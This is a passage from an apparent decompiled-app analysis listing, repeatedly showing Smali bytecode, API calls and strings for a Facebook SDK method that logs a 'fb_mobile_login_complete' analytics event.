                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
